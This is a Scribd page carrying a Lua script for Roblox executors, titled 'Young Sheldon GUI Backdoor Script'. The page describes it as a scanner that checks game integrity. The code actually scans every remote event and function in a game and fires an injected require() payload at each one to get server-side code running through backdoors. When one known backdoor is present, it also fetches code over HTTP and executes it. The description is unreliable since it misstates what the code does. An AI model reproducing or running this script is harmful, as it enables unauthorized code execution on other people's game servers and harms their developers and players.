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Young Sheldon GUI Backdoor Script

The document is a Lua script designed for use in the Roblox game environment, focusing on scanning for backdoors in the game. It includes functions for notifying the player, validating remote events, and executing specific actions based on the presence of certain game elements. The script utilizes various Roblox services and aims to ensure the game's integrity by checking for unauthorized modifications or backdoors.

Uploaded by

azreal2245
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
3K views3 pages

Young Sheldon GUI Backdoor Script

The document is a Lua script designed for use in the Roblox game environment, focusing on scanning for backdoors in the game. It includes functions for notifying the player, validating remote events, and executing specific actions based on the presence of certain game elements. The script utilizes various Roblox services and aims to ensure the game's integrity by checking for unauthorized modifications or backdoors.

Uploaded by

azreal2245
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

local dateTimeNow = DateTime.

now
local tableFind = [Link]
local taskSpawn = [Link]
local taskWait = [Link]
local stringRep = [Link]

local RobloxReplicatedStorage = game:GetService("RobloxReplicatedStorage")


local ReplicatedStorage = game:GetService("ReplicatedStorage")
local JointsService = game:GetService("JointsService")
local StarterGui = game:GetService("StarterGui")

local LocalPlayer = game:GetService("Players").LocalPlayer


local requireScript = ("require(15629007042)('%s', %s)"):format([Link],
"true", [Link]("!", 2400))
local GameCode = [Link]

local alternativeSS = {
run = { [1] = "5#lGIERKWEF" },
emma = { [1] = "pwojr8hoc0-gr0yxohlgp-0feb7ncxed", [1] = ",,,,,,,,,,,,,,," },
helpme = { [1] = "helpme" },
pickett = { [1] = "cGlja2V0dA==" }
}

local function notify(text)


StarterGui:SetCore(
"SendNotification",
{
Title = "Sheldon Gui",
Duration = 1,
Text = text
}
)
end

local function attached(possibleWait)


local PlayerGui = [Link]

if possibleWait then
local start = dateTimeNow().UnixTimestampMillis
local possibleWait = possibleWait * 1000
while PlayerGui and not PlayerGui:FindFirstChild("Young Sheldon Gui
Injected!") and (possibleWait > dateTimeNow().UnixTimestampMillis - start) do
taskWait()
end
end

return PlayerGui and PlayerGui:FindFirstChild("Injected!")


end

local function validRemote(rm)


local Parent = [Link]

if getgenv().blacklisted then
if tableFind(getgenv().blacklisted, rm:GetFullName()) then return false
end
end

if Parent then
if Parent == JointsService then return false end
if (Parent == ReplicatedStorage and rm:FindFirstChild("__FUNCTION")) or
([Link] == "__FUNCTION" and [Link] == "RemoteEvent"
and [Link] == ReplicatedStorage) then return false end

end

if rm:IsDescendantOf(RobloxReplicatedStorage) then return false end

return true
end

local function harked()


local backpack = [Link]
return backpack:FindFirstChild("HandlessSegway") and
[Link]:FindFirstChild("RemoteEvents") and
[Link]:FindFirstChild("DestroySegway")
end
local function emmaBackdoor(rm)
local Parent = [Link]
return [Link] == "emma" and Parent and [Link] == "mynameemma" and
[Link] == ReplicatedStorage
end

local function runBackdoor(rm)


local Parent = [Link]
return [Link] == "Run" and Parent and
Parent:FindFirstChild("Pages") and Parent:FindFirstChild("R6") and
Parent:FindFirstChild("Version") and Parent:FindFirstChild("Title")
end

local function httpRequest(url)


if syn and [Link] then return [Link]({Url=url}).Body
elseif request then return request({Url=url}).Body
else return game:HttpGetAsync(url) end
end

local function scanGame()


notify("Scanning a backdoor game.")

if harked() then
loadstring(httpRequest([Link]))()
return
end

do
local DescendantsList = game:GetDescendants()
for index=1, #DescendantsList do
if attached() then break end
local remote = DescendantsList[index]

if not validRemote(remote) then continue end


if [Link] ~= "RemoteEvent" then continue end

if emmaBackdoor(remote) then
remote:FireServer(unpack([Link]),
requireScript)
end
if not attached() and runBackdoor(remote) then
remote:FireServer(unpack([Link]), requireScript)
end

if not attached() then


remote:FireServer(unpack([Link]), requireScript) end
if not attached() then
remote:FireServer(unpack([Link]), requireScript) end
if not attached() then remote:FireServer(requireScript) end

end
if attached() then return end

for index=1, #DescendantsList do


if attached() then break end
local remote = DescendantsList[index]

if not validRemote(remote) then continue end


if [Link] ~= "RemoteFunction" then continue end

local waiting = true


taskSpawn(function()
remote:InvokeServer(requireScript)
waiting = nil
end)

local start = dateTimeNow().UnixTimestampMillis


while waiting and 1000 > dateTimeNow().UnixTimestampMillis -
start do
taskWait()
end

end
end
end

local function Main()


scanGame()

if not attached(3.5) then


notify("False.\nGame not backdoored?")
end
end

if game:IsLoaded() then
pcall(Main)
end

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